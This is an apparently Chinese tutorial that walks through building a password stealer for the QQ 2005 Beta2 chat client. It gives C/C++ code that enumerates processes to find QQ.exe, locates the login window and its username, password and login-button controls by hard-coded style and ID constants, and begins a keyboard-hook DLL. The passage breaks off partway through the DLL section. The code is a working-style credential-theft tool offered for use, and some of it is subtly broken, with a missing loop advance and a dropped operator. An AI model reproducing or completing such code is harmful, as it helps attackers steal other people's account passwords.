采用c/c++编程实现盗取2005 Beta2.0版QQ[组图]
源码下载:QQSpy
一、思路分析
(一) 数据包的角度 (二) 钩子角度 1. 钩子简介 2. 程序流程 ;
二、 实现过程
(一) 定义宏
(二) 枚举进程找到QQ.exe
(三) 枚举所有窗口,找属于QQ.exe的窗口
(四) 获取用户名、密码、登陆按钮的句柄
(五) 创建钩子用的DLL
(六) 安装钩子
一直以来我对盗QQ这种技术都比较的好奇,最近为了练手,决定写一个盗QQ的程序。经过一个星期的努力,终于得到了QQ的用户名和密码,效果如下:
本程序在Win2003 + QQ2005 Beta2下测试通过。下面就来分析一下整个实现过程。
一、 思路分析
一般这种盗QQ程序,都可以从两个角度分析。它们分别是:数据包和钩子技术。
(一) 数据包的角度
从这个角度入手的难度较大,这需要对QQ所用的协议非常的清楚,还要了解QQ发送的数据包采用的算法,然后把QQ发送的数据包截获下来,通过逆向分析最终得到QQ密码。由于本人对QQ所用的协议没什么研究,所以没有采用这个思路,以后有机会倒是可以试试。
(二) 钩子角度
平时写盗密码程序用的最多的应该就是钩子技术了,因为操作系统提供的API可以让我们很轻松的安装和卸载钩子,从而轻易得到我们想要的东西。
1. 钩子简介
钩子是一个很形象的词,它就像一个“钩”,通过它就可以把操作系统里的消息给钩下来,经过我们处理后再发送出去。具体如下图:
2. 程序流程
Spy++这个工具可以让我们查看QQ登陆窗口的许多信息,如下图:
从图中可以大概知道,QQ登陆窗口左上角的文字并不是直接写上去的,也就是说不能直接用FindWindow()方法得到登陆窗口的句柄。另外,双击某一个子窗口,还可以查看该窗口的风格等,本程序就是利用登陆窗口的样式不变才找到了登陆窗口的句柄。以下是程序的具体流程图:
二、 实现过程
有了上面这个流程图后,经常写win32程序的朋友应该也能写出这种盗QQ程序的,你无妨自已写写试试,有不明白的地方可以参考我的程序。以下为我的程序的要害代码:
(一) 定义宏
//QQ登陆框正常情况下的风格
#define QQLoginDlgNormalStyle 0x94CA00C4
//QQ登陆框最小化时的风格
#define QQLoginDlgMiniStyle 0xB4CA00C4
//用户名下拉控件的ID
#define QQLoginUserNameId 0x0000008A
//密码控件文本框的ID
#define QQLoginPassWordId 0x000000B4
//登陆按扭的ID
#define QQLoginButtonId 0x00003EA0
(二) 枚举进程找到QQ.exe
//定义PROCESSENTRY32结构
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
HANDLE hProcessSnap;
//所有进程快照
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hProcessSnap == INVALID_HANDLE_VALUE)
{
printf("进程快照失败!
");
return -1;
}
BOOL bRet;
//遍历进程快照,轮流显示每个进程的信息
bRet = Process32First(hProcessSnap,&pe);
while(bRet)
{
//pe.szExeFile保存的值为进程对应的可执行文件名
if(strcmp(pe.szExeFile,"QQ.exe") ==0)
{
//这个时候的pe.th32ProcessID值,就是QQ.exe的PID值了。
BOOL bRet;
//枚举所有窗口,把进程PID传给回调函数EnumAllWindowsProc
bRet = EnumWindows(EnumAllWindowsProc,(LPARAM)pe.th32ProcessID);
if(bRet == FALSE)
{
printf("枚举所有窗口失败!
");
return -1;
}
}
}
这里要提醒一点,要调用CreateToolhelp32Snapshot()、Process32First()这些函数,需要在顶部加一句代码:#include 。
(三) 枚举所有窗口,找属于QQ.exe的窗口
BOOL CALLBACK EnumAllWindowsProc(HWND hwnd,LPARAM lParam)
{
if(hwnd == NULL)
{
return FALSE;
}
//QQ.exe的ID
DWORD dwQQProcessID;
dwQQProcessID = (DWORD)lParam;
GetWindowThreadProcessId(hwnd,&dwCreateWindowProcessID);
//假如创建QQ.exe的进程等于创建窗口的进程
if(dwQQProcessID == dwCreateWindowProcessID)
{
LONG lWindowStyle;
//找到窗口的风格
lWindowStyle = GetWindowLong(hwnd,GWL_STYLE);
//假如条件成立,表示当前窗口为登陆窗口
if(lWindowStyle == QQLoginDlgNormalStyle
lWindowStyle == QQLoginDlgMiniStyle)
{
//保存登陆窗口的句柄
hLoginWindow = hwnd;
}
}
return TRUE;
}
该回调函数执行完后,就得到QQ登陆窗口的句柄。保存在hLoginWindow中。
(四) 获取用户名、密码、登陆按钮的句柄
BOOL CALLBACK EnumChildWindowsProc(HWND hwnd,LPARAM lParam)
{
if(hwnd == FALSE)
{
return FALSE;
}
LONG lID;
//取得所有子窗口的ID
lID = GetWindowLong(hwnd, GWL_ID);
//该句表示找到用户名的句柄
if(lID == QQLoginUserNameId)
{
hUserName = hwnd;
}
else if(lID == QQLoginPasswordId)
{
hUserPwd = hwnd;
}
else if(lID == QQLoginButtonId)
{
hLoginButton = hwnd;
}
return TRUE;
}
注重:以上回调函数用到了三个变量,别忘了在顶部定义哦!
//用户名、密码、登陆按钮的句柄
HWND hUserName;
HWND hUserPwd;
HWND hLoginButton;
(五) 创建钩子用的DLL
1. 申明函数
新建一个Win32 Dynamic-Link Library项目,命名为:QQHook。选择空DLL选项,然后在QQHook.h中申明函数:
#define QQHookLIB_API __declspec(dlleXPort)
//声明要导出的函数
//安装键盘钩子函数
BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall,
HMODULE hDll,
HWND hLoginWindow,
HWND hUserName,
HWND hUserPwd,
HWND hLoginButton,
DWORD dwCreateWindowProcessID);
2. 申明共享数据段以及导出函数
选“新建
- 上一篇:捕捉来自 Thread 的异常
- 下一篇:C++程序设计例解(04)